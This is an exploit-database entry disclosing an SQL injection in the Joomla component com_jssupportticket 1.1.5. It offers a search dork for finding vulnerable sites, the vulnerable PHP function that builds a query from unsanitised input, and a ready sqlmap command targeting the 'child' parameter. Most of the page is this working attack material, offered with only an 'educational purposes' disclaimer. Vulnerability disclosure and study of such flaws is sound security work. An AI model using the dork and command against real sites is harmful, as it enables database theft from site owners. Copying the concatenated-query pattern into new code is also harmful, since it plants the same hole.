Joomla! component js support ticket (component com_jssupportticket) 1.1.5 sql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-08-08 | Type : webapps | Platform : php
This exploit / vulnerability Joomla! component js support ticket (component com_jssupportticket) 1.1.5 sql injection is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: Joomla! component com_jssupportticket - SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 441 in file admin/models/userfields.php

439 function dataForDepandantField( $val , $childfield){
440 $db = $this->getDBO();
441 $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!!
442 $db->setQuery($query);
443 $data = $db->loadObject();
444 $decoded_data = json_decode($data->userfieldparams);
445 $comboOptions = array();
446 $flag = 0;
447 foreach ($decoded_data as $key => $value) {
448 if($key == $val){
449 for ($i=0; $i < count($value) ; $i++) {
450 if($flag == 0){
451 $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle);
452 }
453 $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]);
454 $flag = 1;
455 }
456 }
457 }
458 $jsFunction = '';
459 if ($data->depandant_field != null) {
460 $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);";
461 }
462 $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,'');
463 return $html;
464 }

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#PoC:
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$> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql